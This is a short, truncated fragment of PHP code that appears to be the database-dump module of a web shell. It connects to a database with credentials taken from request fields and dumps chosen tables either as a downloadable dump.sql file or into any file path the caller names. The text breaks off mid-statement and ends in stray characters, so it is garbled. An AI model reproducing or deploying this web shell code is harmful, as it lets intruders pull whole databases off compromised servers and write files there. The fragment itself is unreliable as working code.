DbClass($_POST['type']); if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } if(empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) $db->dump($v); exit; } elseif($fp = @fopen($_POST['file'], 'w')) { foreach($_POST['tbl'] as $v) $db->dump($v, $fp); fclose($fp); unset($_POST['p2']); } else die('
219?>